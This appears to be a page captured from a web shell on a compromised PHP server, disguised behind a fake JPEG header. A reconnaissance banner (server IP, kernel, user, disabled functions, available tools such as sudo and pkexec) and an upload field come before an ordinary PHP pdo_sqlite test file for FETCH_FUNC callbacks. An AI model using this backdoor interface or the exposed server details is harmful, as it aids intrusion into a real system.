????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.191.167.79 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/pdo_sqlite/tests/ |
Upload File : |
--TEST-- Testing several callbacks using PDO::FETCH_FUNC --SKIPIF-- <?php if (!extension_loaded('pdo_sqlite')) print 'skip not loaded'; ?> --FILE-- <?php $db = new PDO('sqlite::memory:'); $db->exec('CREATE TABLE testing (id INTEGER , name VARCHAR)'); $db->exec('INSERT INTO testing VALUES(1, "php")'); $db->exec('INSERT INTO testing VALUES(2, "")'); $st = $db->query('SELECT * FROM testing'); $st->fetchAll(PDO::FETCH_FUNC, function($x, $y) use ($st) { var_dump($st); print "data: $x, $y\n"; }); $st = $db->query('SELECT name FROM testing'); var_dump($st->fetchAll(PDO::FETCH_FUNC, 'strtoupper')); $st = $db->query('SELECT * FROM testing'); var_dump($st->fetchAll(PDO::FETCH_FUNC, 'nothing')); $st = $db->query('SELECT * FROM testing'); var_dump($st->fetchAll(PDO::FETCH_FUNC, '')); $st = $db->query('SELECT * FROM testing'); var_dump($st->fetchAll(PDO::FETCH_FUNC, NULL)); $st = $db->query('SELECT * FROM testing'); var_dump($st->fetchAll(PDO::FETCH_FUNC, 1)); $st = $db->query('SELECT * FROM testing'); var_dump($st->fetchAll(PDO::FETCH_FUNC, array('self', 'foo'))); class foo { public function foo($x) { return "--- $x ---"; } } class bar extends foo { public function __construct($db) { $st = $db->query('SELECT * FROM testing'); var_dump($st->fetchAll(PDO::FETCH_FUNC, array($this, 'parent::foo'))); } static public function test($x, $y) { return $x .'---'. $y; } private function test2($x, $y) { return $x; } public function test3($x, $y) { return $x .'==='. $y; } } new bar($db); $st = $db->query('SELECT * FROM testing'); var_dump($st->fetchAll(PDO::FETCH_FUNC, array('bar', 'test'))); $st = $db->query('SELECT * FROM testing'); var_dump($st->fetchAll(PDO::FETCH_FUNC, array('bar', 'test2'))); $st = $db->query('SELECT * FROM testing'); var_dump($st->fetchAll(PDO::FETCH_FUNC, array('bar', 'test3'))); $st = $db->query('SELECT * FROM testing'); var_dump($st->fetchAll(PDO::FETCH_FUNC, array('bar', 'inexistent'))); ?> --EXPECTF-- object(PDOStatement)#%d (1) { [%u|b%"queryString"]=> %string|unicode%(21) "SELECT * FROM testing" } data: 1, php object(PDOStatement)#%d (1) { [%u|b%"queryString"]=> %string|unicode%(21) "SELECT * FROM testing" } data: 2, array(2) { [0]=> %string|unicode%(3) "PHP" [1]=> %string|unicode%(0) "" } Warning: PDOStatement::fetchAll(): SQLSTATE[HY000]: General error: function 'nothing' not found or invalid function name in %s on line %d bool(false) Warning: PDOStatement::fetchAll(): SQLSTATE[HY000]: General error: function '' not found or invalid function name in %s on line %d bool(false) Warning: PDOStatement::fetchAll(): SQLSTATE[HY000]: General error: no array or string given in %s on line %d bool(false) Warning: PDOStatement::fetchAll(): SQLSTATE[HY000]: General error: no array or string given in %s on line %d bool(false) Warning: PDOStatement::fetchAll(): SQLSTATE[HY000]: General error: cannot access self:: when no class scope is active in %s on line %d bool(false) array(2) { [0]=> %string|unicode%(9) "--- 1 ---" [1]=> %string|unicode%(9) "--- 2 ---" } array(2) { [0]=> %string|unicode%(7) "1---php" [1]=> %string|unicode%(4) "2---" } Warning: PDOStatement::fetchAll(): SQLSTATE[HY000]: General error: cannot access private method bar::test2() in %s on line %d bool(false) array(2) { [0]=> %string|unicode%(7) "1===php" [1]=> %string|unicode%(4) "2===" } Warning: PDOStatement::fetchAll(): SQLSTATE[HY000]: General error: class 'bar' does not have a method 'inexistent' in %s on line %d bool(false)